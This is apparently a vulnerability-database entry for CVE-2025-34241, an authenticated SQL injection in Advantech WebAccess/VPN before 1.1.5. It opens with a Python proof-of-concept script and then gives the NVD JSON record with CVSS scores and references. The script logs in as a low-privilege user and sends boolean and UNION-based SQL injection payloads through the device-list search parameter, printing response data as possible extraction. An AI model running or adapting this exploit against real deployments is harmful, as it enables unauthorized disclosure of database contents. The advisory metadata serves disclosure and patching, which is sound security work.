CVE-2025-34241

import requests import re # CVE-2025-34241 PoC - Advantech WebAccess/VPN SQL Injection # Target: Advantech WebAccess/VPN < 1.1.5 # Authenticated low-privilege user required target = "https://target-website.com" login_url = f"{target}/api/auth/login" inject_url = f"{target}/api/AjaxDeviceController/ajaxDeviceAction" # Step 1: Login with low-privilege credentials session = requests.Session() login_data = { "username": "observer_user", "password": "password123" } response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Authentication failed") exit(1) print("[+] Authentication successful") # Step 2: SQL Injection via search parameter # Blind boolean-based SQL injection payload payloads = [ "test' AND 1=1--", "test' AND 1=2--", "test' UNION SELECT NULL--", "test' AND (SELECT COUNT(*) FROM users) > 0--" ] for payload in payloads: params = { "action": "search", "searchTerm": payload, "datatableId": "deviceList" } response = session.get(inject_url, params=params) # Analyze response for SQL injection indicators if response.status_code == 200: if "AND 1=1" in payload: print(f"[+] Payload '{payload}' executed - TRUE condition") elif "AND 1=2" in payload: print(f"[-] Payload '{payload}' executed - FALSE condition") else: print(f"[*] Testing payload: {payload}") if response.text and len(response.text) > 100: print(f"[+] Possible data extraction: {response.text[:200]}") print("[*] PoC completed - verify SQL injection manually")

{"cve": {"id": "CVE-2025-34241", "sourceIdentifier": "[email protected]", "published": "2025-11-06T20:15:48.100", "lastModified": "2025-11-28T16:57:53.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech WebAccess/VPN versions prior to 1.1.5 contain a SQL injection vulnerability in AjaxDeviceController.ajaxDeviceAction() that allows an authenticated low-privileged observer user to inject SQL via datatable search parameters, leading to disclosure of database information."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:webaccess\\/vpn:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.5", "matchCriteriaId": "FFBAB4BE-F708-4A56-A192-BC46C45F84D6"}]}]}], "references": [{"url": "https://icr.advantech.com/download/software", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://icr.advantech.com/support/router-models/download/511/sa-2025-01-vpn-portal-2025-11-06.pdf", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/advantech-webaccess-vpn-sqli-via-ajaxdevicecontroller-ajaxdeviceaction", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}